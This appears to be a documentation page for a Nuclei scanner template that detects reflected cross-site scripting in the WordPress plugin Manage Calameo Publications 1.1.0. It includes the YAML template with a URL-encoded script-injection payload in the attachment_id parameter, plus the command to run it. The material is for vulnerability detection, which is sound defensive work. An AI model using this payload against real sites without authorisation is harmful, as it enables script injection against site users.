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WordPress Manage Calameo Publications 1.1.0 - Cross-Site Scripting

ID: calameo-publications-xss

Severity: medium

Author: DhiyaneshDK

Tags: wordpress,wp-plugin,xss,wp,wpscan

Description

Section titled “Description”

WordPress Manage Calameo Publications 1.1.0 is vulnerable to reflected cross-site scripting via thickbox_content.php and the attachment_id parameter.

YAML Source

Section titled “YAML Source”
id: calameo-publications-xss


info:
  name: WordPress Manage Calameo Publications 1.1.0 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    WordPress Manage Calameo Publications 1.1.0 is vulnerable to reflected cross-site scripting via  thickbox_content.php and the attachment_id parameter.
  reference:
    - https://codevigilant.com/disclosure/wp-plugin-athlon-manage-calameo-publications-a3-cross-site-scripting-xss/
    - https://wpscan.com/vulnerability/83343eb3-bb4c-4b82-adf6-745882f872cc
    - https://wordpress.org/plugins/athlon-manage-calameo-publications/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
  tags: wordpress,wp-plugin,xss,wp,wpscan


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/athlon-manage-calameo-publications/thickbox_content.php?attachment_id=id%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%26"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ath_upload_calameo_publication(id\"><script>alert(document.domain)</script>&)'


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200
# digest: 490a0046304402204649558e6270b7fafe354ba7042a5f476da679eef1b6020d8d9372284ad06428022056cfdfb56eb848cfbdc62278a1bd6844b0c8655232bf8f48566bc5a87953b82a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/calameo-publications-xss.yaml"

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